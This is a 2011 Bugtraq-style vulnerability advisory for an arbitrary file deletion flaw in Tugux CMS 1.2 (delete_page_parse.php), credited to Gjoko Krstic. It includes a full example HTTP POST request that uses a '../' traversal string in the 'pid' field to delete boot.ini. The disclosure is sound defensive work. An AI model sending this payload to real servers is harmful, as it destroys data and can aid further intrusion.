Tugux CMS 'delete_page_parse.php' Arbitrary File Deletion Vulnerability

Bugtraq ID:	48631
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jul 10 2011 12:00AM
Updated:	Jul 10 2011 12:00AM
Credit:	Gjoko Krstic
Vulnerable:	Tugux Studios Tugux CMS 1.2
Not Vulnerable:

Tugux CMS 'delete_page_parse.php' Arbitrary File Deletion Vulnerability

Tugux CMS is prone to a vulnerability that lets attackers delete arbitrary files on an affected computer in the context of the webserver.

Attackers can exploit this issue with directory-traversal strings ('../') to delete arbitrary files; this may aid in launching further attacks.

Tugux CMS 1.2 is vulnerable; prior versions may also be affected.

Tugux CMS 'delete_page_parse.php' Arbitrary File Deletion Vulnerability

Attackers can use a browser to exploit this issue.

The following example request is available:

POST /tugux/administrator/delete_page_parse.php HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age=0
Origin: null
Content-Type: multipart/form-data; boundary=----x
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

------x
Content-Disposition: form-data; name="pid"

../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../boot.ini
------x--

Tugux CMS 'delete_page_parse.php' Arbitrary File Deletion Vulnerability

References:

• Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability (Zero Science Lab)
  
• Vendor Homepage (Tugux Studios)